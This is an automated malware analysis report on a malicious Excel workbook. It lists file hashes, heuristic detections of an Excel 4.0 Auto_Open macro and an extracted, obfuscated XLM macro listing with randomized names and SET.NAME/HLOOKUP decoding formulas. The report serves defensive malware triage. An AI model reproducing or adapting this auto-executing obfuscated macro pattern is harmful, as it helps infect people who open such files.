Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1bcf86d8abb37414…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:40 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 7b5426860cf80c639711d2b2271ee969 SHA-1: adad82be11acb4a8ddf3a538378dd269b30f9cee SHA-256: 1bcf86d8abb37414a0ab2058e92929f915d7315ed71a130441425266059dbf1e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6772 bytes
SHA-256: 6ed59f89596b5c31f8a884c826e18738e1e76148afb017ee4ae85a861b1281bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 36 identifiers look randomly generated (e.g. 'YyttbscGveZL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xksHBcxoP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B192 
' 0018     23 LABEL : Cell Value, String Constant - axmULXGW len=0 
' 0018     24 LABEL : Cell Value, String Constant - bDboYJyEP len=0 
' 0018     22 LABEL : Cell Value, String Constant - clSwbiC len=0 
' 0018     20 LABEL : Cell Value, String Constant - DkPoh len=0 
' 0018     24 LABEL : Cell Value, String Constant - DQQPBRfUi len=0 
' 0018     20 LABEL : Cell Value, String Constant - exaMo len=0 
' 0018     23 LABEL : Cell Value, String Constant - FrNhLTKK len=0 
' 0018     23 LABEL : Cell Value, String Constant - guMerJdK len=0 
' 0018     20 LABEL : Cell Value, String Constant - HaYAB len=0 
' 0018     26 LABEL : Cell Value, String Constant - igxWnohaPZV len=0 
' 0018     20 LABEL : Cell Value, String Constant - KFMbs len=0 
' 0018     26 LABEL : Cell Value, String Constant - kKeWbBZcDxt len=0 
' 0018     24 LABEL : Cell Value, String Constant - oNhjpnHxj len=0 
' 0018     21 LABEL : Cell Value, String Constant - PwZnmt len=0 
' 0018     24 LABEL : Cell Value, String Constant - QPEfVpZku len=0 
' 0018     24 LABEL : Cell Value, String Constant - RsCPYICVF len=0 
' 0018     27 LABEL : Cell Value, String Constant - TASfsjwWdTDQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - TRndev len=0 
' 0018     27 LABEL : Cell Value, String Constant - YyttbscGveZL len=0 
' 0018     26 LABEL : Cell Value, String Constant - zMntNnerCjC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xksHBcxoP,S77,"",614.00000000000000000000
'  xksHBcxoP,S78,"",-59.00000000000000000000
'  xksHBcxoP,S79,"",-93.00000000000000000000
'  xksHBcxoP,S80,"",279.00000000000000000000
'  xksHBcxoP,S81,"",27.00000000000000000000
'  xksHBcxoP,S82,"",687.00000000000000000000
'  xksHBcxoP,B96,"SET.NAME("KFMbs",0+VALUE("0"))",""
'  xksHBcxoP,B101,"SET.NAME("igxWnohaPZV",KFMbs)",""
'  xksHBcxoP,B106,"SET.NAME("axmULXGW",KFMbs)",""
'  xksHBcxoP,B111,"SET.NAME("RsCPYICVF",COUNTA(clSwbiC))",""
'  xksHBcxoP,B115,"SET.NAME("TASfsjwWdTDQ",COUNTA(kKeWbBZcDxt))",""
'  xksHBcxoP,B120,[],""
'  xksHBcxoP,B124,"SET.NAME("oNhjpnHxj","")",""
'  xksHBcxoP,B128,"igxWnohaPZV",""
'  xksHBcxoP,B132,"SET.NAME("YyttbscGveZL",HLOOKUP("*",clSwbiC,igxWnohaPZV,FALSE))",""
'  xksHBcxoP,B136,"guMerJdK",""
'  xksHBcxoP,B140,"SET.NAME("exaMo",KFMbs)",""
'  xksHBcxoP,B142,[],""
'  xksHBcxoP,B144,"exaMo",""
'  xksHBcxoP,B148,"zMntNnerCjC",""
'  xksHBcxoP,B152,"bDboYJyEP",""
'  xksHBcxoP,B157,"PwZnmt",""
'  xksHBcxoP,B159,"SET.NAME("HaYAB",VALUE(HLOOKUP("*",kKeWbBZcDxt,PwZnmt,FALSE)))",""
'  xksHBcxoP,B162,"DkPoh",""
'  xksHBcxoP,B165,"oNhjpnHxj",""
'  xksHBcxoP,B167,"axmULXGW",""
'  xksHBcxoP,B172,NEXT(),""
'  xksHBcxoP,B175,"DQQPBRfUi",""
'  xksHBcxoP,B179,[],""
'  xksHBcxoP,B183,"FrNhLTKK",""
'  xksHBcxoP,B185,NEXT(),""
'  xksHBcxoP,B190,RETURN(),""
'  xksHBcxoP,B213,"SET.NAME("TRndev",B96)",""
'  xksHBcxoP,B216,"clSwbiC",""
'  xksHBcxoP,B219,"SET.NAME("kKeWbBZcDxt",R93C15)",""
'  xksHBcxoP,B222,"SET.NAME("FrNhLTKK",230)",""
'  xksHBcxoP,B224,"SET.NAME("QPEfVpZku",2)",""
'  xksHBcxoP,B229,TRndev(),""
'  xksHBcxoP,B230,HALT(),""

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